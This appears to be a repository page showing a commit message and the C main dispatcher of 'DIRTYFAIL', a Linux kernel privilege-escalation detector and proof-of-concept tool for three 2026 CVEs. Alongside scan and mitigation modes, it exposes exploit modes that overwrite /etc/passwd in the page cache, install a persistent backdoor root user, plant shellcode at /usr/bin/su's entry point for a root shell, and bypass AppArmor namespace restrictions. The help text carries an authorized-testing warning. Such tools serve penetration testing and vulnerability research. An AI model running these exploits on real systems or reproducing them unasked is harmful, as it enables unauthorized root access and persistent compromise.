52e8c99022
- core/module.h: struct iamroot_module + iamroot_result_t
- core/registry.{h,c}: flat-array module registry with find-by-name
- modules/copy_fail_family/iamroot_modules.{h,c}: bridge layer
exposing 5 modules (copy_fail, copy_fail_gcm, dirty_frag_esp,
dirty_frag_esp6, dirty_frag_rxrpc) wired to the absorbed DIRTYFAIL
detect/exploit functions; df_result_t/iamroot_result_t share numeric
values intentionally for zero-cost translation
- iamroot.c: top-level CLI dispatcher with --scan / --list / --exploit /
--mitigate / --cleanup, JSON output, --i-know gate
- Restored modules/copy_fail_family/src/ structure (DIRTYFAIL Makefile
expects it; the initial flat copy broke that contract)
- Top-level Makefile builds one binary; filters out DIRTYFAIL's
original dirtyfail.c main so it doesn't conflict with iamroot.c
Verified end-to-end on kctf-mgr (Linux): clean compile, 5 modules
register, --scan --json output ingest-ready, exit codes propagate.
476 lines
22 KiB
C
476 lines
22 KiB
C
/*
|
|
* DIRTYFAIL — main entry point
|
|
*
|
|
* A single binary that detects and (with explicit consent) demonstrates
|
|
* exploitation of:
|
|
*
|
|
* - Copy Fail CVE-2026-31431
|
|
* - Dirty Frag (xfrm-ESP) CVE-2026-43284
|
|
* - Dirty Frag (RxRPC) CVE-2026-43500
|
|
*
|
|
* Default mode is detection. The exploit modes never run without
|
|
* --exploit on the command line *and* a typed-string confirmation at
|
|
* runtime.
|
|
*
|
|
* Exit codes:
|
|
* 0 not vulnerable (or: exploit succeeded — semantically "you can
|
|
* now type `exit` and the test ran")
|
|
* 1 test error / could not determine
|
|
* 2 vulnerable
|
|
* 3 exploit attempted but did not land
|
|
* 4 preconditions not met (effectively "not vulnerable here")
|
|
* 5 exploit succeeded and a root shell was spawned
|
|
*/
|
|
|
|
#include "common.h"
|
|
#include "copyfail.h"
|
|
#include "copyfail_gcm.h"
|
|
#include "dirtyfrag_esp.h"
|
|
#include "dirtyfrag_esp6.h"
|
|
#include "dirtyfrag_rxrpc.h"
|
|
#include "apparmor_bypass.h"
|
|
#include "backdoor.h"
|
|
#include "mitigate.h"
|
|
#include "exploit_su.h"
|
|
|
|
#include <getopt.h>
|
|
#include <fcntl.h>
|
|
#include <sys/utsname.h>
|
|
|
|
static const char BANNER[] =
|
|
"\n"
|
|
" ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ \n"
|
|
" ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ \n"
|
|
" ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ \n"
|
|
" ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ \n"
|
|
" ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ \n"
|
|
" ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝ \n"
|
|
" Copy Fail + Dirty Frag detector & PoC\n"
|
|
" CVE-2026-31431 / 43284 / 43500\n";
|
|
|
|
static void usage(const char *prog)
|
|
{
|
|
fprintf(stderr,
|
|
"Usage: %s [MODE] [OPTIONS]\n"
|
|
"\n"
|
|
"Modes (pick one; default is --scan):\n"
|
|
" --scan detect all three CVEs (no system modification)\n"
|
|
" --check-copyfail Copy Fail (CVE-2026-31431) detection only\n"
|
|
" --check-esp Dirty Frag xfrm-ESP (CVE-2026-43284) detection only\n"
|
|
" --check-rxrpc Dirty Frag RxRPC (CVE-2026-43500) detection only\n"
|
|
" --check-esp6 IPv6 xfrm-ESP path (CVE-2026-43284 v6) detection\n"
|
|
" --check-gcm Copy Fail GCM variant detection\n"
|
|
" --exploit-copyfail real PoC: flip /etc/passwd UID via algif_aead\n"
|
|
" --exploit-esp real PoC: flip /etc/passwd UID via xfrm-ESP (v4)\n"
|
|
" --exploit-esp6 real PoC: flip /etc/passwd UID via xfrm-ESP (v6)\n"
|
|
" --exploit-rxrpc real PoC: empty /etc/passwd root pwd via rxkad\n"
|
|
" (fcrypt brute-force + AF_RXRPC handshake forgery)\n"
|
|
" --exploit-gcm real PoC: flip /etc/passwd UID via rfc4106(gcm(aes))\n"
|
|
" single-byte primitive (works when authencesn is\n"
|
|
" blacklisted but rfc4106 isn't)\n"
|
|
" --exploit-backdoor PERSISTENT: insert dirtyfail::0:0:..:/:/bin/bash\n"
|
|
" into /etc/passwd page cache; survives shell exit\n"
|
|
" until page eviction. Use --cleanup-backdoor to revert.\n"
|
|
" --exploit-su V4bel-style: plant arch-specific shellcode at\n"
|
|
" /usr/bin/su entry point in page cache; running\n"
|
|
" su then yields a /bin/sh root shell. No PAM\n"
|
|
" dependency. x86_64 tested; aarch64 ships but is\n"
|
|
" hardware-untested (gated behind an env var).\n"
|
|
" Saves original entry-point bytes to\n"
|
|
" /var/tmp/.dirtyfail-su.state for revert via\n"
|
|
" --cleanup-su.\n"
|
|
" --cleanup evict /etc/passwd from page cache and drop_caches\n"
|
|
" --cleanup-backdoor restore /etc/passwd line from /var/tmp/.dirtyfail.state\n"
|
|
" --cleanup-su restore /usr/bin/su entry-point bytes from state file\n"
|
|
" --list-state report what (if anything) is currently planted —\n"
|
|
" reads /var/tmp/.dirtyfail*.state files and\n"
|
|
" describes each. Side-effect free.\n"
|
|
" --mitigate DEFENSIVE: blacklist algif_aead/esp4/esp6/rxrpc,\n"
|
|
" set apparmor_restrict_unprivileged_userns=1.\n"
|
|
" Requires root. Side-effect: breaks IPsec/AFS.\n"
|
|
" --cleanup-mitigate remove the modprobe/sysctl mitigation files\n"
|
|
" --version print version\n"
|
|
" --help this message\n"
|
|
"\n"
|
|
"Options:\n"
|
|
" --active in --scan / --check-* mode, do an active sentinel\n"
|
|
" STORE probe per CVE in addition to precondition\n"
|
|
" checks. Modifies /tmp sentinels only; never\n"
|
|
" touches /etc/passwd. Requires AA bypass on\n"
|
|
" hardened distros, so may take ~5-10s.\n"
|
|
" --no-shell after a successful exploit, do NOT execve `su`;\n"
|
|
" instead revert the page-cache patch and exit\n"
|
|
" --no-revert with --no-shell, also skip the auto-revert\n"
|
|
" (leaves the page cache poisoned — used by\n"
|
|
" tools/dirtyfail-container-escape.sh demo)\n"
|
|
" --json emit a single JSON object on stdout (--scan\n"
|
|
" only); all log output redirected to stderr.\n"
|
|
" Suitable for SIEM/fleet scanning. Implies\n"
|
|
" --no-color and suppresses the banner.\n"
|
|
" --no-color disable ANSI color in output\n"
|
|
" --aa-bypass force the AppArmor unprivileged-userns bypass\n"
|
|
" (auto-armed when restricted profile is detected)\n"
|
|
"\n"
|
|
"Exit codes:\n"
|
|
" 0 not vulnerable / clean 2 vulnerable 5 exploit succeeded\n"
|
|
" 1 test error 3 exploit failed 4 preconditions missing\n"
|
|
"\n"
|
|
"AUTHORIZED TESTING ONLY. Run only on systems you own or are explicitly\n"
|
|
"engaged to assess. The --exploit modes corrupt /etc/passwd in the\n"
|
|
"kernel page cache; cleanup with --cleanup or `echo 3 > /proc/sys/vm/drop_caches`.\n",
|
|
prog);
|
|
}
|
|
|
|
enum mode {
|
|
MODE_SCAN,
|
|
MODE_CHECK_COPYFAIL,
|
|
MODE_CHECK_ESP,
|
|
MODE_CHECK_ESP6,
|
|
MODE_CHECK_RXRPC,
|
|
MODE_CHECK_GCM,
|
|
MODE_EXPLOIT_COPYFAIL,
|
|
MODE_EXPLOIT_ESP,
|
|
MODE_EXPLOIT_ESP6,
|
|
MODE_EXPLOIT_RXRPC,
|
|
MODE_EXPLOIT_GCM,
|
|
MODE_EXPLOIT_BACKDOOR,
|
|
MODE_EXPLOIT_SU,
|
|
MODE_CLEANUP,
|
|
MODE_CLEANUP_BACKDOOR,
|
|
MODE_CLEANUP_SU,
|
|
MODE_MITIGATE,
|
|
MODE_CLEANUP_MITIGATE,
|
|
MODE_LIST_STATE,
|
|
MODE_HELP,
|
|
MODE_VERSION,
|
|
};
|
|
|
|
#define DIRTYFAIL_VERSION "0.1.0"
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
/* Pick up flags that need to survive AA-bypass fork+re-exec via env.
|
|
* The child re-execs with its own argv (stage tags only), so flags
|
|
* set in the parent's argv don't reach the child unless we propagate
|
|
* them through env vars. --json is the main case: without this, the
|
|
* child's log_* output goes to stdout and corrupts the JSON document
|
|
* the parent is building. */
|
|
if (getenv("DIRTYFAIL_JSON")) {
|
|
dirtyfail_json = true;
|
|
dirtyfail_use_color = false;
|
|
}
|
|
|
|
/* If we're a re-exec from the apparmor bypass dance, route to the
|
|
* stage handler immediately. Stage 1 re-execs to stage 2; stage 2
|
|
* unshares + raises caps, then either:
|
|
* (a) DIRTYFAIL_INNER_MODE is set → we're a fork-based exploit
|
|
* child. Dispatch to the inner handler and exit. Parent
|
|
* (init ns) reaps us and continues with verify + su.
|
|
* (b) Not set → legacy `--aa-bypass` whole-process mode; fall
|
|
* through to the normal main() flow with rewritten argv. */
|
|
if (apparmor_bypass_is_stage(argc, argv)) {
|
|
int new_argc = argc;
|
|
char **new_argv = argv;
|
|
if (apparmor_bypass_run_stage(argc, argv, &new_argc, &new_argv) != 0) {
|
|
fprintf(stderr, "apparmor bypass stage failed\n");
|
|
return 1;
|
|
}
|
|
const char *inner = getenv("DIRTYFAIL_INNER_MODE");
|
|
if (inner && *inner) {
|
|
df_result_t r = DF_TEST_ERROR;
|
|
if (strcmp(inner, "esp") == 0) r = dirtyfrag_esp_exploit_inner();
|
|
else if (strcmp(inner, "esp6") == 0) r = dirtyfrag_esp6_exploit_inner();
|
|
else if (strcmp(inner, "rxrpc") == 0) r = dirtyfrag_rxrpc_exploit_inner();
|
|
else if (strcmp(inner, "gcm") == 0) r = copyfail_gcm_exploit_inner();
|
|
else if (strcmp(inner, "esp-probe") == 0) r = dirtyfrag_esp_active_probe_inner();
|
|
else if (strcmp(inner, "esp6-probe") == 0) r = dirtyfrag_esp6_active_probe_inner();
|
|
else if (strcmp(inner, "rxrpc-probe") == 0) r = dirtyfrag_rxrpc_active_probe_inner();
|
|
else if (strcmp(inner, "gcm-probe") == 0) r = copyfail_gcm_active_probe_inner();
|
|
else if (strcmp(inner, "backdoor-install") == 0) r = backdoor_install_inner();
|
|
else if (strcmp(inner, "backdoor-cleanup") == 0) r = backdoor_cleanup_inner();
|
|
else {
|
|
fprintf(stderr, "unknown DIRTYFAIL_INNER_MODE: %s\n", inner);
|
|
r = DF_TEST_ERROR;
|
|
}
|
|
return (int)r;
|
|
}
|
|
argc = new_argc;
|
|
argv = new_argv;
|
|
}
|
|
|
|
enum mode m = MODE_SCAN;
|
|
bool do_shell = true;
|
|
bool aa_bypass = false;
|
|
|
|
static const struct option opts[] = {
|
|
{"scan", no_argument, NULL, 'S'},
|
|
{"check-copyfail", no_argument, NULL, 1 },
|
|
{"check-esp", no_argument, NULL, 2 },
|
|
{"check-rxrpc", no_argument, NULL, 3 },
|
|
{"check-esp6", no_argument, NULL, 9 },
|
|
{"check-gcm", no_argument, NULL, 10 },
|
|
{"exploit-copyfail", no_argument, NULL, 4 },
|
|
{"exploit-esp", no_argument, NULL, 5 },
|
|
{"exploit-esp6", no_argument, NULL, 11 },
|
|
{"exploit-rxrpc", no_argument, NULL, 7 },
|
|
{"exploit-gcm", no_argument, NULL, 12 },
|
|
{"exploit-backdoor", no_argument, NULL, 13 },
|
|
{"cleanup", no_argument, NULL, 6 },
|
|
{"cleanup-backdoor", no_argument, NULL, 14 },
|
|
{"mitigate", no_argument, NULL, 15 },
|
|
{"cleanup-mitigate", no_argument, NULL, 16 },
|
|
{"active", no_argument, NULL, 17 },
|
|
{"exploit-su", no_argument, NULL, 18 },
|
|
{"cleanup-su", no_argument, NULL, 19 },
|
|
{"no-revert", no_argument, NULL, 20 },
|
|
{"json", no_argument, NULL, 21 },
|
|
{"list-state", no_argument, NULL, 22 },
|
|
{"no-shell", no_argument, NULL, 'n'},
|
|
{"no-color", no_argument, NULL, 'C'},
|
|
{"aa-bypass", no_argument, NULL, 8 },
|
|
{"help", no_argument, NULL, 'h'},
|
|
{"version", no_argument, NULL, 'V'},
|
|
{0,0,0,0}
|
|
};
|
|
|
|
int c;
|
|
while ((c = getopt_long(argc, argv, "ShVnC", opts, NULL)) != -1) {
|
|
switch (c) {
|
|
case 'S': m = MODE_SCAN; break;
|
|
case 1 : m = MODE_CHECK_COPYFAIL; break;
|
|
case 2 : m = MODE_CHECK_ESP; break;
|
|
case 3 : m = MODE_CHECK_RXRPC; break;
|
|
case 4 : m = MODE_EXPLOIT_COPYFAIL; break;
|
|
case 5 : m = MODE_EXPLOIT_ESP; break;
|
|
case 7 : m = MODE_EXPLOIT_RXRPC; break;
|
|
case 6 : m = MODE_CLEANUP; break;
|
|
case 9 : m = MODE_CHECK_ESP6; break;
|
|
case 10 : m = MODE_CHECK_GCM; break;
|
|
case 11 : m = MODE_EXPLOIT_ESP6; break;
|
|
case 12 : m = MODE_EXPLOIT_GCM; break;
|
|
case 13 : m = MODE_EXPLOIT_BACKDOOR; break;
|
|
case 14 : m = MODE_CLEANUP_BACKDOOR; break;
|
|
case 15 : m = MODE_MITIGATE; break;
|
|
case 16 : m = MODE_CLEANUP_MITIGATE; break;
|
|
case 17 : dirtyfail_active_probes = true; break;
|
|
case 18 : m = MODE_EXPLOIT_SU; break;
|
|
case 19 : m = MODE_CLEANUP_SU; break;
|
|
case 20 : dirtyfail_no_revert = true; break;
|
|
case 21 : dirtyfail_json = true;
|
|
dirtyfail_use_color = false;
|
|
/* Propagate through fork+re-exec for AA bypass children */
|
|
setenv("DIRTYFAIL_JSON", "1", 1);
|
|
break;
|
|
case 22 : m = MODE_LIST_STATE; break;
|
|
case 'n': do_shell = false; break;
|
|
case 'C': dirtyfail_use_color = false; break;
|
|
case 8 : aa_bypass = true; break;
|
|
case 'h': m = MODE_HELP; break;
|
|
case 'V': m = MODE_VERSION; break;
|
|
default : usage(argv[0]); return 1;
|
|
}
|
|
}
|
|
|
|
if (m == MODE_HELP) { usage(argv[0]); return 0; }
|
|
if (m == MODE_VERSION) { puts("DIRTYFAIL " DIRTYFAIL_VERSION); return 0; }
|
|
|
|
/* Exploit modes now do their OWN fork-based AA bypass internally
|
|
* (parent stays in init ns for the post-exploit `su` to drop into
|
|
* REAL init-ns root). We only arm the legacy whole-process bypass
|
|
* when the operator explicitly requests it via --aa-bypass — that
|
|
* path is mostly useful for debugging the bypass mechanics in
|
|
* isolation, not for actual exploitation. */
|
|
if (aa_bypass) {
|
|
log_warn("--aa-bypass: arming legacy whole-process bypass");
|
|
log_hint("note: exploit modes now do their own fork-based bypass; "
|
|
"this flag is for debugging only and may break su afterwards.");
|
|
if (apparmor_bypass_arm_and_relaunch(argc, argv) != 0) {
|
|
log_warn("apparmor bypass failed (%s) — continuing un-bypassed",
|
|
strerror(errno));
|
|
}
|
|
}
|
|
|
|
if (!dirtyfail_json) {
|
|
if (dirtyfail_use_color) fputs("\033[1;35m", stdout);
|
|
fputs(BANNER, stdout);
|
|
if (dirtyfail_use_color) fputs("\033[0m", stdout);
|
|
fputc('\n', stdout);
|
|
}
|
|
|
|
df_result_t r = DF_OK;
|
|
|
|
switch (m) {
|
|
case MODE_SCAN: {
|
|
log_step("running full scan — five detectors\n");
|
|
|
|
df_result_t a = copyfail_detect(); if (!dirtyfail_json) fputc('\n', stdout);
|
|
df_result_t b = dirtyfrag_esp_detect(); if (!dirtyfail_json) fputc('\n', stdout);
|
|
df_result_t b6 = dirtyfrag_esp6_detect(); if (!dirtyfail_json) fputc('\n', stdout);
|
|
df_result_t c2 = dirtyfrag_rxrpc_detect(); if (!dirtyfail_json) fputc('\n', stdout);
|
|
df_result_t g = copyfail_gcm_detect(); if (!dirtyfail_json) fputc('\n', stdout);
|
|
|
|
const char *label[] = {
|
|
[DF_OK] = "not vulnerable",
|
|
[DF_TEST_ERROR] = "test error",
|
|
[DF_VULNERABLE] = "VULNERABLE",
|
|
[DF_PRECOND_FAIL] = "preconditions missing",
|
|
};
|
|
const char *json_label[] = {
|
|
[DF_OK] = "not_vulnerable",
|
|
[DF_TEST_ERROR] = "test_error",
|
|
[DF_VULNERABLE] = "vulnerable",
|
|
[DF_PRECOND_FAIL] = "preconds_missing",
|
|
};
|
|
|
|
if (!dirtyfail_json) {
|
|
log_step("scan summary:");
|
|
log_hint(" Copy Fail (algif_aead, CVE-2026-31431): %s", label[a & 7]);
|
|
log_hint(" Dirty Frag ESP v4 (CVE-2026-43284): %s", label[b & 7]);
|
|
log_hint(" Dirty Frag ESP v6 (CVE-2026-43284 v6): %s", label[b6 & 7]);
|
|
log_hint(" Dirty Frag RxRPC (CVE-2026-43500): %s", label[c2 & 7]);
|
|
log_hint(" Copy Fail GCM variant (xfrm rfc4106): %s", label[g & 7]);
|
|
}
|
|
|
|
if (a == DF_VULNERABLE || b == DF_VULNERABLE || b6 == DF_VULNERABLE ||
|
|
c2 == DF_VULNERABLE || g == DF_VULNERABLE)
|
|
r = DF_VULNERABLE;
|
|
else if (a == DF_TEST_ERROR || b == DF_TEST_ERROR || b6 == DF_TEST_ERROR ||
|
|
c2 == DF_TEST_ERROR || g == DF_TEST_ERROR)
|
|
r = DF_TEST_ERROR;
|
|
else
|
|
r = DF_OK;
|
|
|
|
if (dirtyfail_json) {
|
|
struct utsname u; uname(&u);
|
|
const char *summary = json_label[r & 7];
|
|
printf("{\n");
|
|
printf(" \"tool\": \"dirtyfail\",\n");
|
|
printf(" \"version\": \"" DIRTYFAIL_VERSION "\",\n");
|
|
printf(" \"hostname\": \"%s\",\n", u.nodename);
|
|
printf(" \"kernel\": \"%s\",\n", u.release);
|
|
printf(" \"machine\": \"%s\",\n", u.machine);
|
|
printf(" \"active_probes\": %s,\n",
|
|
dirtyfail_active_probes ? "true" : "false");
|
|
printf(" \"results\": [\n");
|
|
printf(" {\"cve\": \"CVE-2026-31431\", \"name\": \"copyfail\", \"status\": \"%s\"},\n", json_label[a & 7]);
|
|
printf(" {\"cve\": \"CVE-2026-43284\", \"name\": \"dirtyfrag-esp\", \"status\": \"%s\"},\n", json_label[b & 7]);
|
|
printf(" {\"cve\": \"CVE-2026-43284-v6\", \"name\": \"dirtyfrag-esp6\", \"status\": \"%s\"},\n", json_label[b6 & 7]);
|
|
printf(" {\"cve\": \"CVE-2026-43500\", \"name\": \"dirtyfrag-rxrpc\", \"status\": \"%s\"},\n", json_label[c2 & 7]);
|
|
printf(" {\"cve\": \"CVE-2026-31431-gcm\", \"name\": \"copyfail-gcm\", \"status\": \"%s\"}\n", json_label[g & 7]);
|
|
printf(" ],\n");
|
|
printf(" \"summary\": \"%s\"\n", summary);
|
|
printf("}\n");
|
|
}
|
|
break;
|
|
}
|
|
|
|
case MODE_CHECK_COPYFAIL: r = copyfail_detect(); break;
|
|
case MODE_CHECK_ESP: r = dirtyfrag_esp_detect(); break;
|
|
case MODE_CHECK_ESP6: r = dirtyfrag_esp6_detect(); break;
|
|
case MODE_CHECK_RXRPC: r = dirtyfrag_rxrpc_detect(); break;
|
|
case MODE_CHECK_GCM: r = copyfail_gcm_detect(); break;
|
|
|
|
case MODE_EXPLOIT_COPYFAIL:
|
|
log_warn("running real PoC for Copy Fail (CVE-2026-31431)");
|
|
r = copyfail_exploit(do_shell);
|
|
break;
|
|
|
|
case MODE_EXPLOIT_ESP:
|
|
log_warn("running real PoC for Dirty Frag xfrm-ESP (CVE-2026-43284)");
|
|
r = dirtyfrag_esp_exploit(do_shell);
|
|
break;
|
|
|
|
case MODE_EXPLOIT_RXRPC:
|
|
log_warn("running real PoC for Dirty Frag RxRPC (CVE-2026-43500)");
|
|
r = dirtyfrag_rxrpc_exploit(do_shell);
|
|
break;
|
|
|
|
case MODE_EXPLOIT_ESP6:
|
|
log_warn("running real PoC for Dirty Frag IPv6 xfrm-ESP");
|
|
r = dirtyfrag_esp6_exploit(do_shell);
|
|
break;
|
|
|
|
case MODE_EXPLOIT_GCM:
|
|
log_warn("running real PoC for Copy Fail GCM variant (rfc4106)");
|
|
r = copyfail_gcm_exploit(do_shell);
|
|
break;
|
|
|
|
case MODE_EXPLOIT_BACKDOOR:
|
|
log_warn("installing PERSISTENT backdoor user 'dirtyfail' (page-cache only)");
|
|
r = backdoor_install(do_shell);
|
|
break;
|
|
|
|
case MODE_CLEANUP_BACKDOOR:
|
|
r = backdoor_cleanup();
|
|
break;
|
|
|
|
case MODE_EXPLOIT_SU:
|
|
log_warn("planting x86_64 shellcode at /usr/bin/su entry point (page cache)");
|
|
r = exploit_su_shellcode(do_shell);
|
|
break;
|
|
|
|
case MODE_CLEANUP_SU:
|
|
r = cleanup_su_shellcode();
|
|
break;
|
|
|
|
case MODE_MITIGATE:
|
|
r = mitigate_apply();
|
|
break;
|
|
|
|
case MODE_CLEANUP_MITIGATE:
|
|
r = mitigate_revert();
|
|
break;
|
|
|
|
case MODE_LIST_STATE: {
|
|
log_step("--list-state: scanning /var/tmp for stashed dirtyfail state files");
|
|
bool any = false;
|
|
if (backdoor_list_state()) any = true;
|
|
if (exploit_su_list_state()) any = true;
|
|
if (!any) {
|
|
log_ok("no dirtyfail state files present — system is clean");
|
|
} else {
|
|
log_hint("(state files only describe what was planted — they do");
|
|
log_hint(" not by themselves prove the page cache is still poisoned;");
|
|
log_hint(" run `--cleanup` / `--cleanup-backdoor` / `--cleanup-su`");
|
|
log_hint(" to evict + restore.)");
|
|
}
|
|
r = DF_OK;
|
|
break;
|
|
}
|
|
|
|
case MODE_CLEANUP:
|
|
log_step("evicting /etc/passwd page cache");
|
|
if (geteuid() != 0) {
|
|
/* POSIX_FADV_DONTNEED on a read-only fd held by a non-root
|
|
* user *silently no-ops* on Linux — fadvise returns 0 but
|
|
* does not actually evict any pages. The only path that
|
|
* works without write access is `drop_caches`, which
|
|
* itself needs root. So warn the operator clearly. */
|
|
log_warn("running as non-root: POSIX_FADV_DONTNEED will return 0 "
|
|
"but NOT evict any pages (kernel ignores it for readers "
|
|
"without write access). The page-cache STORE will persist "
|
|
"until eviction by memory pressure or reboot.");
|
|
log_warn("re-run as 'sudo dirtyfail --cleanup' to drop_caches.");
|
|
} else {
|
|
int fd = open("/etc/passwd", O_RDONLY);
|
|
if (fd >= 0) {
|
|
#ifdef POSIX_FADV_DONTNEED
|
|
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
|
#endif
|
|
close(fd);
|
|
}
|
|
log_step("dropping caches");
|
|
if (drop_caches()) log_ok("drop_caches OK");
|
|
else log_warn("drop_caches failed: %s", strerror(errno));
|
|
}
|
|
r = DF_OK;
|
|
break;
|
|
|
|
default:
|
|
usage(argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
return (int)r;
|
|
}
|